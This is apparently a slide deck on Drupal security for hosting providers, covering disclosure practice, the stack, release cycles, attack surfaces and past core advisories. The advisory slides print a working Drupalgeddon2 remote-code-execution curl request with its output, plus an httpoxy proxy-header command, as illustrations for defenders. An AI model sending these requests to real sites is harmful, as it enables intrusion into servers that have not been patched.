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Security - Responsible disclosure

“...A vulnerability is disclosed only after a period 
of time that allows for the vulnerability to be 
patched.“
Wikipedia

“The Drupal project has been following a 
responsible disclosure model for more than 12 
years.”
Jess (xjm), Drupal Security Team
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Examples
➢ Redis
➢ Memcache
➢ Solr, Elastic Search
➢ Varnish
➢ Fastly, Cloudflare
➢ S3, ...

Basics - Technology Stack

Minimal
➢ HTTP
➢ PHP
➢ MySQL

➢ HTML5
➢ CSS
➢ JS

Advanced Services
➢ Caches

○ Key-Value
➢ Search
➢ Edge Cache
➢ CDN
➢ Storage

➢ Deep integrations



Basics - Heaviness

Drupal 7.x
2018-09-11
➢ 1262 files
➢ 16MB code

Drupal 8.0.0
2015-11-19
➢ 15777 files
➢ 93MB core

Including libraries

Drupal 8.6.x
2018-
➢ 17634 files
➢ 104MB core

Composer

With libraries
◦ 22352 files
◦ 135MB



Basics - Performance

Caches
➢ Entity Cache
➢ Render Cache

○ Metadata 
bubbling

○ Context
○ Cache Tags

➢ Page Cache

By default
➢ Maxim cacheability
➢ Auto flushing
➢ No stale caches

At the price of
additional complexity



A viral news >20x 
traffic peak with 
>99% cache 
coverage by the 
Fastly CDN with 
cache tag based 
minimal flushing.

Basics - Performance example with CDN



Basics - Getting off the island

Drupal 8 adopted… 
➢ Symfony

○ Vendor libraries
➢ JS libraries
➢ Composer



Basics - Current trends & initiatives

End users
➢ Media
➢ Out-of-the-box
➢ Modernize Admin UI
➢ Workflow
➢ Layout
➢ Extended Security 

Support

Technology

➢ Decoupled
➢ API first
➢ Adopt React

➢ Configuration 
management

➢ Migrate
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Basics - Release Cycles & Support



Basics - Release Cycles & Support

“The first release of Drupal 9 will be very 
similar to the last minor release of Drupal 8, 
as the primary goal of the Drupal 9.0.0 
release will be to remove deprecated code 
and update third-party dependencies.”

https://dri.es/drupal-7-8-and-9



Basics - Commercial LTS

➢ Drupal 6 LTS
https://www.drupal.org/project/d6lts

➢ Drupal 7 LTS will come

https://dri.es/drupal-7-8-and-9



drupal.org
➢ Projects
➢ Issues
➢ Patches
➢ Git repositories
➢ Test bot
➢ Releases
➢ Update info

security.drupal.org
➢ Projects
➢ Issues
➢ Patches

Security reports 
here please!

Basics - Collaboration



https://www.drupal.org/security/psa
https://www.drupal.org/security

Coordination with dependencies.

Security release numbers and release 
timing explained
https://www.drupal.org/node/1173280

Is Drupal secure?
https://www.drupal.org/documentation/is-drupal-secure

Basics - Public service announcements



Contrib:
https://www.drupal.org/security/contrib
Maintainers opt-in for security coverage

Basics - Security advisories



Basics - Attach surface examples

OS / Open Services
Application
➢ MySQL - Request SQL Injection
➢ PHP - Request

○ Code Injection
○ Code Upload

Users
➢ Access - Passwords
➢ Content - XSS

Mitigations through 
abstraction layers
➢ Entity query API
➢ Database query API
➢ Form API
➢ Folder protection

➢ Twig autoescape



Basics - Attach surface examples

Site building
➢ Misconfiguration

Developer
➢ Insecure code
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Threat - SA-CORE-2016-003



Threat - SA-CORE-2016-003 - Exploit

http://mattkorostoff.com/article/I-survived-drupalgeddon-how-hackers-took-over-my-site



Threat - SA-CORE-2016-003



Threat - SA-CORE-2016-003 - Exploit

“...Direct the server to open outgoing 
connections to an address and port of their 
choosing”

# curl -H 'Proxy: 172.17.0.1:12345' example.com

https://httpoxy.org/



Threat - SA-CORE-2018-002



Threat - SA-CORE-2018-002 - Timeline

https://www.acquia.com/blog/acquia-blocks-500000-attack-attempts-sa-core-2018-002



Threat - SA-CORE-2018-002 - Payloads

https://blog.malwarebytes.com/threat-analysis/2018/05/look-drupalgeddon-client-side-attacks/



“It uses the user/register URL, #post_render parameter, 
targeting account/mail, using PHP's exec function.”

# curl -k -i 
'http://localhost/user/register?element_parents=account/mail/%23value&ajax_form=
1&_wrapper_format=drupal_ajax' \

    --data 
'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][
#type]=markup&mail[a][#markup]=uname -a'

[{"command":"insert","method":"replaceWith","selector":null,"data":"Linux ubuntu140045x64-drupal 
3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 
GNU\/Linux\u003Cspan 
class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

https://github.com/dreadlocked/Drupalgeddon2

Threat - SA-CORE-2018-002 - Exploit



Threat - SA-CORE-2018-004



“It uses the user/register URL, #post_render parameter, 
targeting account/mail, using PHP's exec function.”

“Five hours after the Drupal team published a security update for the Drupal 
CMS, hackers have found a way to weaponize the patched vulnerability, and are 
actively exploiting it in the wild.”

%2523 => #
https://www.bleepingcomputer.com/news/security/hackers-dont-give-site-owners-time-to-pa
tch-start-exploiting-new-drupal-flaw-within-hours/

Threat - SA-CORE-2018-004 - Exploit



Threat - SA-CORE-2018-004

https://www.drupaleurope.org/session/responsible-disclosure-cross-project-collaboration-and-drupal-8-security



HOSTERS



Hosters - Best practices

➢ Offer wizards, setup howtos
➢ Vendor folder out of webroot
➢ Readonly root
➢ Support ssh, git, drush, rsync
➢ Add services

○ edge cache
○ key-value caching store



Hosters - Best practices

➢ Sign-up for PSA
➢ Act immediately
➢ Implement Filters
➢ Autopatch



OUTLOOK



Outlook - AutoUpdates

➢ Challenges
○ Managing trust
○ Writable code folder
○ Or trigger a deployment
○ Very highly privileged

➢ Alternatives: Application firewall



Outlook - API First

“Drupal 8 APIs are new and evolving.
Vulnerabilities evolve along with them.”
Jess (xjm), Drupal Security Team

➢ Challenges
○ API circumvents form submit
○ Risk for backdoors and automated 

exploitability

https://www.drupaleurope.org/session/responsible-disclosure-cross-project-collaboration-and-drupal-8-security



Thanks!

ANY QUESTIONS?


